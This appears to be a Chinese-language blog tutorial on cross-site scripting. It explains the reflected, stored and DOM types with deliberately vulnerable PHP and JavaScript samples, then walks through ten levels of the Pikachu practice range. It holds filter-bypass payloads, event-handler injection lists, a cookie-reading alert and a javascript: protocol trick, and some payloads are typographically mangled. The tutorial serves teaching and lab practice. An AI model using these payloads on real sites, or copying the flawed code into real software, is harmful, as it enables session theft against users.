XSS(Pikachu靶场)
概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
一、XSS的原理和分类
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意js代码,当用户浏览该页面时,嵌入Web里面的js代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
XSS分为:存储型 、反射型 、DOM型XSS
反射型XSS漏洞:前端-->后端-->前端
-
1.Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点需要Alice使用用户名/密码进行登录,并存储了Alice敏感信息(比如银行帐户信息)。 2.Tom 发现 Bob的站点存在反射性的XSS漏洞 3.Tom 利用Bob网站的反射型XSS漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使Alice点击 4.Alice在登录到Bob的站点后,浏览了 Tom 提供的恶意链接 5.嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在Alice完全不知情的情况下将这些信息发送给 Tom。 6.Tom 利用获取到的cookie就可以以Alice的身份登录Bob的站点,如果脚本的功更强大的话,Tom 还可以对Alice的浏览器做控制并进一步利用漏洞控制
存储型XSS漏洞:前端-->后端-->数据库-->后端-->前端
-
1. Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。 2. Tom检测到Bob的站点存在存储型的XSS漏洞。 3. Tom在Bob的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了Bob的服务器的数据库中,然后吸引其它用户来阅读该热点信息。 4. Bob或者是任何的其他人如Alice浏览该信息之后,Tom的恶意脚本就会执行。 5. Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起XSS攻击
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。前端-->浏览器
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
documen.write
举个栗子 :
<input type="text" id="input">
<button id="btn">Submit</button>
<div id="div"></div>
<script>
const input = document.getElementById('input');
const btn = document.getElementById('btn');
const div = document.getElementById('div');
let val;
input.addEventListener('change', (e) => {
val = e.target.value;
}, false);
btn.addEventListener('click', () => {
div.innerHTML = `<a href=${val}>testLink</a>`
}, false);
</script>
点击 Submit 按钮后,会在当前页面插入一个链接,其地址为用户的输入内容。如果用户在输入时构造了如下内容:
" onclick=alert(/xss/)
用户提交之后,页面代码就变成了:
<a href onlick="alert(/xss/)">testLink</a>
此时,用户点击生成的链接,就会执行对应的脚本。DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。在使用 .innerHTML
、.outerHTML
、document.write()
时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent
、.setAttribute()
等。
DOM 中的内联事件监听器,如 location
、onclick
、onerror
、onload
、onmouseover
等,<a>
标签的 href
属性,JavaScript 的 eval()
、setTimeout()
、setInterval()
等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。
二、XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如 ,看看会有什么反应
页面直接弹出了hack的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端-->后端-->前端
存储型XSS:
先给出源代码
//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID:<input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS代码就被执行了
我们输入 1 和 ,注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。不然注入不进去。提交了之后,我们看看数据库
可以看到,我们的XSS语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时,我们插入的XSS代码就执行了。
存储型XSS的数据流向是:前端-->后端-->数据库-->后端-->前端
DOM型XSS:
先放上源代码
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script>
这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理
我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是DOM型XSS漏洞,这种漏洞数据流向是: 前端-->浏览器
七、XSS的简单过滤和绕过
前面讲sql注入的时候,我们讲过程序猿对于sql注入的一些过滤,利用一些函数(如:preg_replace()),将组成sql语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成xss代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到XSS攻击的目的
1.区分大小写过滤标签
先放上源代码
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
echo $name;
}
?>
绕过技巧:可以使用大小写绕过
2.不区分大小写过滤标签
先放上源代码
这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写
$name=preg_replace("/<script>/i","",$name); //不区分大小写过滤 <script>
$name=preg_replace("/<\/script>/i","",$name); //不区分大小写过滤 </script>
绕过技巧:可以使用嵌套的script标签绕过 <script>
3.不区分大小写,过滤之间的所有内容
先放上源代码
这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容
虽然无法使用
<script>
标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。
payload:
<img src=1 οnerrοr=alert('hack')>
我们可以输入
<img src=1 οnerrοr=alert('hack')>
,然后看看页面的变化
八、XSS的防御
XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。
对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。
如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
$name = htmlspecialchars( $_GET[ 'name' ] );
如下,图1是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体。
我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了
当用户点击了我们构造的恶意链接,发现打开的是一个404页面。实际上这个页面偷偷的进行了表单的提交
pikachu靶场练习
第1关 反射型xss(get)
<script>alert("1")</script>
发现输入框有长度限制 -----》 一般长度限制都是通过前端html代码校验,所以这里我们有两种方法
1.网页框之间输入
注:使用之前需要查看浏览器是否自动转换URL编码,若无法自动转换则需要手动输入转换。
2.直接修改html代码
将限制长度的变量maxlength增加,比如修改为100。
第2关 反射型xss(post)
尝试直接在登录框直接输入
<script>alert("1")</script>
来判断是否有回显点
发现没有注入点回显,根据提示输入正确的账号密码后登录进去
在输入框输入
<script>alert("1")</script>
有回显
输入
<script>alert(document.cookie)</script>
成功获取admin的cookie
第3关 存储型xss
第三关点开后是一个留言板界面,留言板可以当作存储型xss的注入点,攻击者写下的恶意代码会被存储到数据库,当有人访问这个留言板页面的时候直接触发恶意代码。
在另外一个浏览器中来到本关页面,也出现了同样的弹框。说明存储型XSS能危害所有访问受影响页面的用户。
第4关 DOM型xss
进入第四关发现又是只有一个输入框,我们直接输入<script>alert(1)</script>
试试
输入后发现回显了一个链接名曰“what do you see?”
鼠标右键–---查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看
查看源代码,寻找DOM XSS的本质是做js语言阅读理解题
这段js代码的意思是会把用户提交的内容输出到标签里面,我们要想干其他的事,需要闭合标签和引号
根据提示
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
//试试:'><img src="#" onm ouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
document.getElementById("dom").innerHTML = "<a href=''><img src="#" onm ouseover="alert('xss')">'>what do you see?</a>";
document.getElementById("dom").innerHTML = "<a href='' onclick="alert('xss')">'>what do you see?</a>";
用 ' 闭合前面的单引号
相当于:
<a href="" onclick=alert('xss')>a</a>
'>what do you see? 当作字符串输出
第5关 DOM型xss-x
随便输点东西,发现跑到url去了
输入
<script>alert(1)</script>
并没有弹框
查看页面源代码:点击emo语句后会执行拼接后的语句,与第一关不同的是点击emo语句才会执行“domxss”函数
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风</a>";
//试试:'><img src="#" onm ouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
输入
' onclick="alert('xss')">
第6关 xss盲打
两个输入框,随便输点东西康康
再输入两条xss语句并没有弹窗,发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了
点提示发现有后台登录地址
登进去看看 啊哦,弹出来了
第7关 xss之过滤
还是随便输
xss注入试试
<script>alert("1")</script>
被过滤了,只剩下>哈哈哈哈,肯定是被过滤啦
那过滤了什么呢?
输入<script时回显为空,说明过滤了这个标签
换个标签试试
<svg onl oad="alert(1)">
成功啦,这些都可以
<details open ontoggle="alert('xss');">
<input onfocus="alert('xss');">
<img src=1 one rror=alert("xss");>
<svg onl oad=alert("xss");>
<select onfocus=alert('xss') autofocus>
<iframe onl oad=alert("xss");></iframe>
<video><source one rror="alert('xss')">
试试大小写绕过----成功
<Script>alert("1")</Script>
拼接--- no
<scri<script>pt>alert(1)</scri</script> pt>
第8关 xss之htmlspecialchars
输入nihao
输入标签试试
回显a标签,超链接,发现被预编译了
搜索htmlspecialchars()函数用法,果然是预编译
眼尖的你肯定发现单引号没有预编译
' onclick='alert(1)
<a href='' onclick='alert(1)'>' onclick='alert(1)'</a>
第9关 xss之href输出
baidu.com
<script>alert(1)</script>
单引号也被过滤了
看看提示
可以利用JavaScript协议。输入payload:
javascript:alert(1)
[javascript伪协议 - komomon - 博客园 (cnblogs.com)
第10关 xss之js输出
tmac的粉丝(确信)
我们可以将其闭合,然后注释掉后面
';alert(1);//
或者
x'</script><script>alert('xss')</script>
完结撒花